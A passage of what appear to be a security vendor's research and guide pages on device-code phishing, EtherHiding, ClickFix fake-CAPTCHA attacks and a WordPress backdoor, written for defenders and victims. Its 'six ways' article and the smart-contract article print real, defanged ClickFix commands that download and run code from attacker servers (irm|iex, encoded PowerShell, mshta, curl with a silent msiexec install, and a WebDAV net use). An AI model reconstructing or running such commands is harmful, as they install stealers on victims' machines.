`microsoft.com`. - **MFA is completed by the victim.** The attacker never needs to break it. - **No password is typed into a fake form**, so credential-phishing tools have nothing to catch. - **Kits make it easy.** After the EvilTokens kit went on sale in February 2026, researchers counted many times more device-code phishing pages, and single campaigns reached hundreds of organisations. #### How to protect your organisation 1. **Block the device code flow in Microsoft Entra Conditional Access** (Authentication flows → Device code flow) for everyone who does not need it. Keep an exception group for the few devices and tools that do. 2. **Review sign-ins with the authentication protocol “device code”** in the Entra sign-in logs, and revoke the sessions of any account that used it unexpectedly. 3. **Tell people the rule:** only enter a device code that you got from a device you are setting up, right now. 4. **Warn at the moment it matters**, in the browser, when the code page opens after a link from a message or another site. #### What to do if you entered a code 1. Tell IT immediately, with the time and the message you received. 2. IT revokes the user’s sessions and refresh tokens in Entra (“Revoke sessions”) and checks the sign-in logs and mailbox rules (attackers often add forwarding rules). 3. Change the password and review the registered MFA methods. #### How ByteMantle helps - **An immediate warning on Microsoft’s device login pages** (including `microsoft.com/devicelogin` and the v2.0 endpoints), before the code is entered: “Someone may be trying to sign in to your Microsoft account”. - **“I started this sign-in — continue once”.** People who really are setting up a device continue for five minutes, without turning protection off. - **Other providers stay quiet unless it looks wrong.** Google, GitHub, AWS and Okta device pages are recorded, and become a warning when reached from a suspicious chain. - **The lure is traced.** The console shows where the user came from and every redirect, so you can remove the message or block the lure site, not only warn about the Microsoft page. More on [Device Code phishing protection](https://bytemantle.com/threats/device-code-phishing/). #### Questions people ask **Is microsoft.com/devicelogin a scam?** No, it is Microsoft’s real page for signing in devices such as TVs and command-line tools. It becomes dangerous only when someone else gives you the code to enter. **Does MFA protect against device code phishing?** No. You complete the MFA prompt yourself, and the attacker’s device receives the resulting tokens. Blocking the flow and phishing-resistant policies help; MFA alone does not. **How do I block the device code flow in Microsoft 365?** In Microsoft Entra, create a Conditional Access policy with the condition Authentication flows → Device code flow and the control Block, and exclude only the accounts or devices that need it. **Does the attack work against Google or other providers?** Google, GitHub, AWS and others have similar device sign-in flows and can be abused the same way, though Microsoft 365 is by far the most targeted. **Sources** 1. [Microsoft Security Blog — Storm-2372 device code phishing campaign (Feb 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/) 2. [Cloud Security Alliance — OAuth Device Code phishing surge (Apr 2026)](https://labs.cloudsecurityalliance.org/research/csa-research-note-oauth-device-code-phishing-surge-20260405/) 3. [Proofpoint — Device code authorization phishing](https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover) 4. [Microsoft Learn — Block authentication flows with Conditional Access](https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## EtherHiding: the malware host nobody can take down. Address: https://bytemantle.com/research/etherhiding-blockchain-malware/ Updated: 2026-11-12 > EtherHiding stores malicious code in public blockchain contracts and loads it into hacked websites. Why it cannot be taken down, and how to stop it in the browser. ### EtherHiding: the malware host nobody can take down. Attackers no longer need a server for their next stage. They store it in a smart contract on a public blockchain, and a hacked website reads it from there on every visit. No domain to seize, no hosting provider to call. Guide · 30 October 2026 · 6 min read #### In short - A small script injected into a compromised site (often WordPress) calls a public blockchain node and reads data from a contract. - The data is the next stage: usually a fake update or a fake CAPTCHA that leads to [ClickFix](https://bytemantle.com/research/what-is-clickfix/). - Reading a contract is free and leaves no transaction; the attacker can change the payload whenever they like. - Blocking servers does not work. Spotting the contract call and the lure in the browser does. #### How EtherHiding works 1. **A legitimate website is compromised** and gets a few lines of JavaScript in its pages. 2. **The script calls a blockchain node** (for example on BNB Smart Chain or Polygon) with a read-only request (`eth_call`) to a contract the attacker controls. 3. **The contract returns code or an address**, often encoded, which the script decodes and runs or loads. 4. **The visitor sees the lure**: “update your browser”, “verify you are human”. From there, the user is guided to paste a command or download a file. Security researchers at Google have described financially motivated groups and a state-backed group using this technique to distribute information stealers and backdoors, and other researchers report contracts used directly for command and control. #### Why it is so hard to stop - **No takedown.** A smart contract cannot be deleted by a registrar or a hosting company. - **Instant updates.** The attacker changes the stored payload with one transaction; every compromised site serves the new version at once. - **Legitimate infrastructure.** The requests go to public blockchain nodes that many real applications use, so blocking them by name breaks real sites. - **The site owner may not notice.** The injected script is small, and the lure is often shown only to some visitors. #### What helps - **For website owners:** keep WordPress core, themes and plugins updated, remove unused plugins, protect admin accounts with MFA and check pages for unknown scripts that call blockchain nodes. - **For organisations:** stop the step that turns a visit into an infection — the clipboard command or the fake download — and see which of the sites your people use are compromised. #### How ByteMantle helps - **The contract call is recognised.** ByteMantle sees the blockchain requests a page makes. A page with no wallet activity that reads a contract is suspicious; if the answer contains a web address, it is flagged as high severity. Legitimate dApps keep working: contract reads are not blocked automatically. - **The lure is stopped.** The fake update or fake CAPTCHA that follows is detected, a command written to the clipboard is replaced with a harmless message, and the contract read plus the lure become one critical incident: ClickFix via EtherHiding. - **You learn which site is compromised.** The console shows the site, the script that loaded the attack and the contract, so you can warn the site owner and block it for your browsers. More on [EtherHiding detection](https://bytemantle.com/threats/etherhiding/), and a real case in our research on [the SC WordPress backdoor](https://bytemantle.com/research/sc-family-wordpress-etherhiding/). **Read our research** [One smart contract, a new payload server every few days](https://bytemantle.com/research/one-smart-contract-new-payload-host/) · [SC: the WordPress backdoor that keeps its servers on Ethereum](https://bytemantle.com/research/sc-family-wordpress-etherhiding/) #### Questions people ask **Is EtherHiding a crypto scam?** No. Victims do not need a wallet or any crypto. The blockchain is only used as a hosting place for malicious code that ordinary websites load. **Which websites are affected?** Mostly legitimate sites that were hacked, very often WordPress sites with outdated plugins or weak admin passwords. **Can I block blockchain domains on my network?** You can block known public node addresses, but campaigns switch between providers and many legitimate sites use them. Detecting the specific contract call and the lure is more reliable. **Sources** 1. [Google Threat Intelligence Group — UNC5142 and EtherHiding](https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware) 2. [Google Threat Intelligence Group — DPRK adopts EtherHiding](https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding) 3. [Trend Micro — Smart contracts for command and control](https://www.trendmicro.com/en_gb/research/26/e/smart-contracts-for-command-and-control.html) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## Beyond irm | iex: six ways a fake CAPTCHA delivers malware Address: https://bytemantle.com/research/fake-captcha-six-delivery-methods/ Updated: 2026-11-12 > A network drive, a silent installer named like a Windows update, a program in Temp behind a decoy window, an HTML application, layers of encoding and a public code CDN: the ClickFix commands ByteMantle research browsers met, 5–11 November 2026, and what they have in common. ### Beyond `irm | iex`: six ways a fake CAPTCHA delivers malware. The best-known ClickFix command is one line of PowerShell that downloads a script and runs it. Security tools learned to look for it, so the attackers vary it. These are the variations our research browsers met in one week, and the one thing none of them can change. Research · 12 November 2026 · 6 min read · From pages opened in ByteMantle research browsers, 5–11 November 2026 #### In short - Our research browsers recorded 25 different ClickFix commands this week. About half were the classic PowerShell "download and run", some with a twist. The others used a network drive, a silent installer, a program in the Temp folder, an HTML application or layers of encoding. - Several hide their real purpose from the visitor: a fake verification code at the end of the line, a decoy window, a file named like a Windows update. - Each one is built to slip past a different detection rule. None avoids the basic shape: **a web page writes a command for the Run box that fetches code from the internet and runs it**. - ByteMantle recognised every one of them on the page, from the first visit, including the ones whose domains were days old. All commands below are shortened where marked and defanged (`[.]` instead of the last dot of each host) so that nothing in this article can be clicked or run. The ClickFix lure itself is explained in [What is ClickFix?](https://bytemantle.com/research/what-is-clickfix/) #### 1. A public code CDN, with a quote in the middle ``` IRM fastly.jsdelivr[.]net/g"h"/wiktor1992kl/sds37465-df459-kcne8xhf-ajdf55/ea25409061fa | IEX ``` jsDelivr is a free service that serves files from GitHub to millions of websites; the real path starts with `/gh/`. PowerShell drops the two quote marks in `g"h"` and fetches `/gh/…` as usual, but a rule that looks for the text `/gh/` in the command finds nothing. A third site used githack, another service that serves files from GitHub and GitLab, in the same way. **Why it works for the attacker:** nobody can block jsDelivr or githack without breaking websites, and the file can live in a throwaway account. #### 2. A network drive over the web ``` cmd /c net use Z: http://185.246.223[.]71/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete ``` No PowerShell and no download tool. The command connects drive `Z:` to a folder on the attacker's server (WebDAV is a way to use a web server as a shared drive), runs `update.cmd` from it as if it were a local file, then removes the drive. The server is a bare IP address with no domain to look up. #### 3. A silent installer named like a Windows update ``` cmd /c curl -gkso %TEMP%\wud.msi https://update.neewsoo[.]com/dl/kb1000013.msi?v=c15c541c16c4 && msiexec /i %TEMP%\wud.msi /qn ``` `curl` saves an installer to the Temp folder; `msiexec /qn` installs it with no window at all. The names are chosen to look routine: "update" in the host, `kb1000013` like the number of a Windows update. To someone glancing at a process list, it looks like maintenance. #### 4. A program in Temp, behind a decoy window and a fake code ``` cmd /c start /max www.[hacked site]/verification.php && curl -k -o %temp%\install.exe https://security-malware[.]com/index.html && start %temp%\install.exe && echo ___________________________V_E_R_I_F_I_C_A_T_I_O_N_____3_4_7_6_0_8______ ``` Three tricks in one line: - **A decoy:** it first opens a "verification" page in a full-screen window, so the visitor watches that while the rest runs. - **A disguised file:** it downloads something called `index.html`, saves it as `install.exe` and starts it. - **A fake code:** the Run box is narrow and, after pasting, shows the end of a long line. The visitor sees only `V_E_R_I_F_I_C_A_T_I_O_N 3 4 7 6 0 8` and believes they pasted a verification code. The same trick of hiding the real command behind a harmless-looking end appears elsewhere this week: one command ends with `# Gateway Verification - Challenge Response ID: 597242`, a comment that does nothing except look reassuring. #### 5. An HTML application ``` mshta https://pumpadmin[.]fun/p.hta ``` `mshta` is an old Windows program that runs "HTML applications": web pages with the full rights of a desktop program. One short command, no PowerShell, and the attacker's file decides the rest. The domain was 10 days old at the end of the week. #### 6. Layers of encoding At least four commands this week hid their download behind one or more layers: - **An encoded command.** `powershell -w h -enc aQBlAHgAKABpAHcAcgAg…` runs a hidden window with a command written in Base64. Decoded, it is `iex(iwr 'https://api.stellarcedar[.]live/cdn/hlfwties.js' -UseBasicParsing)`: download and run. - **Base64 decoded by the command itself.** `iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aXJtIGh1ZXNv…')))` becomes `irm huesosivvdoite[.]com/check/update.ps1|iex`. - **A pipeline that hides the order.** `@(0)|ForEach-Object {'7qs6'}|ForEach-Object {…|ForEach-Object {Invoke-RestMethod 'threejrev[.]com/r'}|Select-Object -First 1)}`: the same download and run, wrapped in steps that do nothing, so that a rule looking for "download, then run" in that order misses it. It came from a fake "Claude early access" page, a reminder that AI tools are a favourite bait. - **A browser disguise.** `(irm 'https://lepafonso[.]bz/…' -UserAgent 'Mozilla/5.0 … Chrome/126…' -Headers @{'X-WUA'=…})|iex` makes PowerShell present itself as Chrome, probably so that the server hands the malware only to what looks like a real browser and shows automated analysis tools nothing. #### What none of them can change Every command above avoids a different rule: one avoids the word PowerShell, one the download tool, one the domain, one the order of the steps. But each still has to do the same three things, and has to get there the same way: 1. a **web page** writes it to the clipboard, together with instructions to open the Run box or a terminal; 2. it **fetches code** from the internet (a file, a script, a drive, an installer); 3. it **runs** that code. That shape is what ByteMantle looks for. The extension reads what a page writes to the clipboard, recognises a command that fetches and runs code, in any of these forms, and replaces it with a harmless message before it can be pasted. On these pages it also saw the fake CAPTCHA and, on many of them, the smart contract the lure was read from. #### Why a list of bad addresses is not enough The servers in these commands are cheap to replace: some of their domains were only days old when we saw them, one method uses services nobody can block and another a bare IP address with no domain at all. Protection that depends on block lists has to wait until someone reports each new address. A site hacked for one company, with a server used for one campaign, may never reach a shared list at all. ByteMantle uses lists too, signed threat lists and the age of every domain, because they catch what is already known. The part that looks at the page itself does not have to wait for anyone: it works on the first visit to the first hacked site. #### What to do - **Security teams:** alert on `msiexec /qn`, `net use` to an internet address, `mshta` with a URL, `powershell -enc` and `curl … | cmd` started from `explorer.exe`, which is where the Run box starts them. Do not rely on one string such as `irm | iex`. - **IT teams:** where nobody needs it, turn off the Run box for ordinary users with a group policy. It does not stop a terminal, but it removes the easiest path. - **Everyone:** no real website ever asks you to press Windows + R or paste something to prove you are human. [Already pasted? What to do now.](https://bytemantle.com/research/fake-captcha-windows-r/) #### Indicators | Indicator | Method | | --- | --- | | `fastly.jsdelivr[.]net/gh/wiktor1992kl/sds37465-df459-kcne8xhf-ajdf55/` | 1, public code CDN (GitHub account) | | `glcdn.githack[.]com/rytu08-74/sha5a2-2cc66af34d63/` | 1, public code CDN (GitLab account) | | `185.246.223[.]71` | 2, WebDAV drive | | `update.neewsoo[.]com` | 3, silent installer | | `security-malware[.]com` | 4, program in Temp | | `pumpadmin[.]fun` | 5, HTML application | | `api.stellarcedar[.]live` | 6, encoded command | | `huesosivvdoite[.]com` | 6, Base64 in the command | | `threejrev[.]com` | 6, hidden pipeline | | `lepafonso[.]bz` | 6, browser disguise | All indicators of the week, and the sites that served the lure, are in the downloads of the [ClickFix report](https://bytemantle.com/research/clickfix-report-2026-11-11/#indicators). #### How we collect this We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware: the commands here are the text the pages wrote to the clipboard, decoded by us where they were encoded. What customers' browsers see is never part of our research. #### Read more - [One smart contract, a new payload server every few days](https://bytemantle.com/research/one-smart-contract-new-payload-host/) - [The ClickFix beacon: how a fake CAPTCHA reports you before the download](https://bytemantle.com/research/clickfix-beacon-fake-captcha-profiles-you/) - [ClickFix report, 5–11 November 2026](https://bytemantle.com/research/clickfix-report-2026-11-11/) - [What is ClickFix? The copy-paste attack, explained](https://bytemantle.com/research/what-is-clickfix/) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## A CAPTCHA asked you to press Windows + R. It is not a CAPTCHA. Address: https://bytemantle.com/research/fake-captcha-windows-r/ Updated: 2026-11-03 > A “verify you are human” page that tells you to press Windows + R and paste is a ClickFix scam. What it does, what to do if you already pasted, and how to stop it. ### A CAPTCHA asked you to press Windows + R. It is not a CAPTCHA. No real “I’m not a robot” check ever asks you to open the Run box, a terminal or File Explorer and paste something. If a page did, it was trying to make you install malware yourself. Guide · 30 October 2026 · 6 min read #### In short - The steps “press **Windows + R**, press **Ctrl + V**, press **Enter** ” run a command the page secretly copied for you. - If you have not pressed Enter: close the page. Nothing happened. - If you did: disconnect from the internet, run a full antivirus scan and change your passwords from another device. Details below. - ByteMantle replaces the hidden command on your clipboard with a harmless message, so even a paste does nothing. #### What you probably saw A page that looks like a familiar check: “Verify you are human”, a Cloudflare-style box, a reCAPTCHA-style tick, a “browser update”, a document that “failed to load”. You click the box and new instructions appear: 1. Press **Windows + R** (on a Mac: open **Terminal**; sometimes: click the address bar of **File Explorer**). 2. Press **Ctrl + V** to paste the “verification code”. 3. Press **Enter**. The moment you clicked, the page put a command on your clipboard. What you paste is not a code: it is a short PowerShell, `mshta` or `curl` command that downloads and starts a program. That program is usually an information stealer, which collects saved passwords, browser cookies, crypto wallets and session tokens, or a remote-access tool. The technique is called **ClickFix** (and **FileFix** when it uses the File Explorer address bar). It works because you run the command yourself: no download warning, no exploit, nothing for e-mail filters to block. #### Why the page looked normal - **It is often a real website.** Attackers hide the fake check on hacked WordPress sites, booking pages and shops, so the address can be one you trust. - **It copies real designs.** The box, the logo and the wording imitate checks you see every day. - **The command is hidden.** You only see it if you paste it somewhere visible. In the Run box it is long and starts with words you do not recognise. #### What to do now ##### You did not press Enter Close the tab. Copy any harmless text (for example a word on this page) so the command is no longer on your clipboard. That is all. ##### You pressed Enter 1. **Disconnect the computer from the internet** (unplug the cable, switch Wi-Fi off). It stops the program from sending your data. 2. **If it is a work computer, tell your IT team now.** Tell them the time and the website; it helps them find the infection. 3. **Run a full antivirus scan** (Microsoft Defender: Virus & threat protection → Scan options → Full scan). 4. **From another device**, change the passwords of your e-mail, bank and work accounts, and sign out all other sessions. Stealers take browser cookies, so a password change alone does not always end an active session. 5. **Turn on multi-factor authentication** where it is off, and watch your bank and e-mail for activity you did not do. **Do not reuse the computer for banking until it is checked.** If you are unsure whether it is clean, have it checked or reinstalled by someone you trust. #### How to never fall for it One rule covers every version of this attack: **no website ever needs you to paste anything into Run, a terminal or the File Explorer address bar.** Not to prove you are human, not to fix a page, not to update a browser. If a page asks, it is an attack. #### How ByteMantle stops it - **The command never reaches you.** When a page writes a harmful command to your clipboard, ByteMantle replaces it with a harmless message. Even if you follow the steps, there is nothing to run. - **The page is recognised.** Fake checks, “press Windows + R” instructions and the commands they use (PowerShell, `mshta`, `curl | sh` on macOS and Linux) are detected in your browser, before you act. - **You get a plain warning.** A clear page tells you what the site tried to do, with one button back to safety. - **Your company sees it too.** In the ByteMantle console, IT sees where you came from, the page and the command that was stopped, so they can block the site for everyone. Detection runs locally in your browser and keeps working offline. Read more about [ClickFix protection](https://bytemantle.com/threats/clickfix/). #### Questions people ask **Is it safe to click “I’m not a robot” on a page?** Clicking a real check is safe. The danger starts only when a page asks you to press keys outside the browser (Windows + R, Terminal, File Explorer) and paste. Real checks never do that. **I only pasted the text but did not press Enter. Am I infected?** No. The command runs only when you press Enter. Close the Run box or terminal without running it and copy some harmless text to replace what is on your clipboard. **Does this happen on Mac too?** Yes. The Mac version asks you to open Terminal and paste a command, usually with curl and osascript, that installs a password stealer. The same rule applies: never paste commands from a website into Terminal. **Can my antivirus stop it?** Sometimes, after the command starts. ClickFix is built so that you run the command yourself, which many tools treat as a normal user action. Stopping it in the browser, before the paste, removes the risk earlier. **The website was one I know. Was it hacked?** Probably. Attackers often place fake checks on legitimate sites they have compromised. Tell the site owner and avoid the site until it is fixed. **Sources** 1. [Microsoft Security Blog — Think before you ClickFix (Aug 2025)](https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/) 2. [The Hacker News — CTM360: 17,000 ClickFix URLs (Sep 2026)](https://thehackernews.com/2026/09/17000-urls-reveal-how-clickfix-turns.html) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## One smart contract, a new payload server every few days Address: https://bytemantle.com/research/one-smart-contract-new-payload-host/ Updated: 2026-11-12 > A Polygon smart contract told hacked websites where to send their visitors: to a domain registered 13 hours before its first use, then to a new one. What ByteMantle research browsers saw, 5–11 November 2026, and why a block list cannot keep up. ### One smart contract, a new payload server every few days. The hacked websites stay the same. The smart contract they read stays the same. Only the server that delivers the malware changes, and the first one was 13 hours old when it went to work. Research · 12 November 2026 · 5 min read · From pages opened in ByteMantle research browsers, 5–11 November 2026 (times in UTC) #### In short - One contract on the Polygon blockchain, `0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2`, told **6 hacked websites** where their fake CAPTCHA should send visitors this week. - On 5 November it pointed to `codes.browse-cdn[.]beer`, a domain registered **13 hours** before our research browsers first saw it serve a command. On 11 November it pointed to `browse-nnccodes[.]beer`, registered two days before. - Since 12 October our research browsers have seen this contract on **19 websites**. - A block list has to wait until someone reports each new server. ByteMantle recognises the attack on the page itself: the contract read, the fake CAPTCHA and the command it puts on the clipboard. #### How a contract runs a campaign The attackers break into ordinary websites and add a small script. That script does not carry the lure. Every time the page loads, it asks a **smart contract** (a small program stored on a public blockchain) for the current address of the lure, through a free public blockchain service. This technique is called [EtherHiding](https://bytemantle.com/research/etherhiding-blockchain-malware/). - **The attackers change one value** in the contract, and every hacked site switches to the new server at its next page load. Nobody has to touch the hacked sites again. - **Nobody can take the contract down.** A blockchain keeps it for good, and reading it costs nothing and leaves no trace on the attacker's side. - **The visitor sees a fake "Verify you are human" box** that asks them to press Windows + R and paste a command. The command downloads and runs the malware from the server of the day. [What is ClickFix?](https://bytemantle.com/research/what-is-clickfix/) #### What our research browsers saw this week The contract `0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2` on Polygon (read with the function selector `0xb68d1809`) was read on 6 hacked websites, 7 times, on three days: | Day | Contract reads | Server the contract pointed to | That server's domain was registered | | --- | --- | --- | --- | | 5 November | 4 | `codes.browse-cdn[.]beer` | 5 November, 00:19 | | 6 November | 1 | `codes.browse-cdn[.]beer` | the same | | 11 November | 2 | `browse-nnccodes[.]beer` | 9 November, 04:11 | On 5 November at 13:21, one of the hacked sites put this on the clipboard of our research browser: ``` irm 'codes.browse-cdn[.]beer/5b4a1d12a6e59b50'|iex; ``` That is PowerShell for "download this text and run it as a program". The domain in it had existed for 13 hours. On 11 November, the same contract sent visitors to the new domain, with a different random path on every visit: ``` irm 'browse-nnccodes[.]beer/7b49cf8529cf3702'|iex; ``` Our browsers did not open these pages every day, so the switch may have happened before 11 November. What the dates show is the pattern: **a fresh domain, used within hours or days of its registration, then replaced**. #### One contract, one operation Websites that read the same contract belong to the same operation, even when nothing else connects them. The 6 sites this week have nothing else in common: different businesses, different domain endings, different software. Over a longer period the picture grows: since 12 October our research browsers have seen this contract on **19 websites**. Two of the six sites read a second Polygon contract too, `0xf70730a4e5b89b6c6e02edaed582badf6465e9d9`, which fed five sites this week, those two included. Hacked sites often carry the scripts of more than one operation. The [ClickFix report for 5–11 November](https://bytemantle.com/research/clickfix-report-2026-11-11/) lists all 11 contracts we saw, on Polygon, BSC Testnet and Base. Two other Polygon contracts, `0x83833c5d676ca06e941a32310ae67d0890f657ee` and `0xbab25ced421128c427ad19914473566633894dd5`, were read this week with the same function selector, `0xb68d1809`. That points to the same attack kit; whether the same people run it, the data does not say. The first of them pointed to `makeverizyjar[.]info`, the front-end loader we described in our [SC research](https://bytemantle.com/research/sc-family-wordpress-etherhiding/). The ByteMantle console draws this for your own browsers: the investigation graph links a contract to every site that read it and to the servers it pointed to, so a security team sees one campaign instead of six unrelated alerts. #### Why a block list falls behind Protection that depends on block lists has to wait until someone reports an address, and then until the list reaches your computers. This campaign is built to stay ahead of that: - **The download server is new.** `codes.browse-cdn[.]beer` was 13 hours old when it served its first command we saw. Nobody had a reason to list it yet. - **It changes every few days.** By the time the first server is listed, the contract points somewhere else. - **The hacked sites look harmless.** They are real businesses, schools and shops. A list has no reason to suspect them until someone reports them, and the owner usually does not know. - **The contract cannot be taken down**, and the public blockchain services the script uses serve millions of legitimate requests. Block lists still matter, and ByteMantle uses them too: signed threat lists and the age of every domain. But they work after someone has seen the attack. #### What ByteMantle recognises on the page The ByteMantle extension does not need to know the server of the day. On these pages it recognised: - **the contract read:** a web page asking a blockchain where to load its next step from; - **the fake CAPTCHA** drawn over the real page; - **the command** the page put on the clipboard: a shell, a download and an execution, whatever the domain in it. ByteMantle replaces it with a harmless message before it can be pasted. Each of these works from the first visit to the first hacked site, with a domain that is a few hours old. #### What to do - **Security teams:** watch for web pages that read smart contracts, and for clipboard commands that download and run code, rather than chasing each new domain. The contract address above stays valid for as long as the campaign uses it. - **Website owners:** a contract read on your own pages means your site was hacked. Our [SC research](https://bytemantle.com/research/sc-family-wordpress-etherhiding/) shows how to find the added script and clean it. - **Everyone:** no real website ever asks you to press Windows + R or paste something to prove you are human. #### Indicators | Indicator | What it is | Seen | | --- | --- | --- | | `0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2` | Polygon smart contract, function selector `0xb68d1809` | 12 October – 11 November | | `codes.browse-cdn[.]beer` | download and lure server, registered 5 November 2026 | 5–6 November | | `browse-nnccodes[.]beer` | download and lure server, registered 9 November 2026 | 11 November | The sites that served the lure are in the downloadable lists of the [ClickFix report](https://bytemantle.com/research/clickfix-report-2026-11-11/#indicators), each with the date we saw it. #### How we collect this We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. The dates of the contract reads and the commands come from what the extension recorded; the registration dates come from the console's domain-age check. What customers' browsers see is never part of our research. #### Read more - [The ClickFix beacon: how a fake CAPTCHA reports you before the download](https://bytemantle.com/research/clickfix-beacon-fake-captcha-profiles-you/) - [Beyond irm | iex: six ways a fake CAPTCHA delivers malware](https://bytemantle.com/research/fake-captcha-six-delivery-methods/) - [ClickFix report, 5–11 November 2026](https://bytemantle.com/research/clickfix-report-2026-11-11/) - [EtherHiding: malware hidden in blockchain smart contracts](https://bytemantle.com/research/etherhiding-blockchain-malware/) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## The WordPress backdoor that keeps its address book on Ethereum Address: https://bytemantle.com/research/sc-family-wordpress-etherhiding/ Updated: 2026-11-03 > A self-healing WordPress backdoor reads its command servers from Ethereum smart contracts, steals admin passwords and plants a service worker. How to check and clean. ### The WordPress backdoor that keeps its address book on Ethereum. A self-healing WordPress backdoor reads its command servers from three Ethereum smart contracts, captures administrators’ passwords and plants a service worker in their browsers. We compare a September sample with the October build, and follow seven months of the contracts’ history. Research · 30 October 2026 · 14 min read · Based on our static analysis of two samples (neither was executed, no attacker server was contacted) and public research credited at the end. Indicators are defanged; the victim site is not named. #### In short - A family of WordPress backdoors (the authors' own build tag is **`SCV`**) hides inside a fake plugin with a believable name. September: "Macro Gateway Pad". October: "Byte Console Rig". - It does not keep a list of command servers. It reads the current list from **three Ethereum smart contracts**. The domains can change every day; the contracts stay the same. This technique is known as **EtherHiding**. - On the server it rebuilds itself from up to seven places, creates a hidden administrator, forges login cookies and reports administrators to the attackers. - In the browser it plants a **service worker** in the administrators' browsers, which runs whatever code the attackers send. That code can show a fake verification page with **ClickFix** instructions (open Terminal / Run, paste, press Enter). - **One month later** the same contracts and the same call are still in use, but the build has grown from about 115 to 287 functions and learned new tricks — most importantly, it now records **administrators' passwords in plain text** at sign-in. **Run a WordPress site or manage sites for clients?** Install the ByteMantle browser extension, open your site and its admin area, and see whether it reports a service worker, a contract read or a lure. [Get the extension](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) · How to check a site #### How the chain works 1. **A WordPress site is compromised** (often through a stolen password or a vulnerable plugin). The attackers install a "plugin" whose header looks normal: a name, an author, a licence, a "Requires PHP" line. 2. **The plugin asks Ethereum where to report.** It calls a read-only function (selector `0x3bc5de30`) on one of three contracts, through one of about twenty public Ethereum services. The answer is masked; once unmasked it holds a 16-byte key and the current command servers. 3. **It reports to the attackers**, encrypted with that key: the site, its plugins, the administrators — and, in the October build, their passwords. 4. **It defends itself:** copies in must-use plugins, drop-ins (`advanced-cache.php`, `db.php`), the theme, `.user.ini` / `.htaccess` (`auto_prepend_file`), hidden files in the cache folder, a scheduled task, and its own state hidden in the database under option names derived from the install path. Delete one copy and the others put it back. 5. **It reaches into browsers.** On the sign-in page and in the admin area it adds a short script that registers a **service worker** — a script the browser keeps running for the site in the background — and executes whatever Base64-encoded code that worker passes on. The attackers can then change admin pages, capture what is typed, upload plugins with the administrator's own session, or show a ClickFix lure. #### What changed between September and October | | September sample | October build (SCV 5.1.2) | | --- | --- | --- | | Disguise | "Macro Gateway Pad" — "Robust health check assistant" | "Byte Console Rig" — "Modern static asset optimization extension" | | Size | 177 KB, ~115 functions | 440 KB, 287 functions | | Ethereum contracts / call | 3 contracts, selector `0x3bc5de30` | **the same 3 contracts, the same selector** | | Service worker address | `/?sc_9a42d7=1` — an unusual parameter | `/?p=91xxxxxx` — looks like an ordinary WordPress post link | | Where the worker is planted | sign-in page | sign-in page and admin area, HTTPS only | | Administrator passwords | hashes and forged cookies sent; plain-text capture not established | **plain-text passwords captured at sign-in** (kept up to 90 days) and sent with the report | | Two-factor sign-in | — | counts sign-ins where the password was right but the login never completed: a sign of 2FA on that account | | Hiding | hides its user and plugin | also switches off WordPress's e-mails about new users and new sign-ins, hides itself from file-manager plugins, hides updates | | Cleaning attempts | self-healing | also detects a "poisoned" recovery copy (a file a cleaner replaced with blank text) and refuses to restore from it; checks the site still loads after each change and undoes the change if it broke the site (so it is not noticed); several copies agree on the newest version and retire the older ones | ##### The contracts' history: seven months of rotating servers, one key Reading the contracts' public history (read-only `eth_call` and the Blockscout explorer, checked again on 30 October 2026) shows every change of address book since the contracts were created on **5 April 2026**. Each time, the operator writes the same new list to all three contracts within about a minute: | Written (UTC) | Command servers (defanged) | Path | | --- | --- | --- | | 5 Apr – 22 Apr | one server at a time: `a1-analytics[.]sbs`, `m1-analytics[.]top`, `e2-analytics[.]xyz`, `b2-analytics[.]xyz`, `a2-analytics[.]xyz` | `/n3s9c2a` | | 22 May, 20 Jun | `mg-analytics[.]sbs`, then `fg-analytics[.]biz` | `/n3s9c2a` | | 1 Jul | `great-fade[.]sbs`, `admiration-noble[.]sbs` | `/n3s9c2a` | | 4 Jul | `pace-draft[.]sbs`, `rebel-pause[.]xyz`, `grant-member[.]pro` | `/n3s9c2a` | | 16 Jul | `football-attraction[.]pro`, `relaxation-seed[.]xyz`, `bacon-rumors[.]xyz` | `/n3s9c2a` | | 4 Aug | `siege-close[.]com`, `fashion-chicken[.]com`, `carpet-sail[.]com` | `/n3s9c2a` | | 19 Aug | `chief-ignite[.]pro`, `hair-result[.]xyz`, `soup-tone[.]pro` | `/n3s9c2a` | | 20 Aug, 20:47 | `chief-ignite[.]pro`, `seat-aviation[.]com`, `soup-tone[.]pro` | `/n3s9c2a` | | 21 Aug, 00:21 | `root-cherry[.]com`, `forecast-chaos[.]com`, `sound-obstacle[.]com` | `/n3s9c2a` | | 4 Sep, 16:08 | `basic-junior[.]com`, 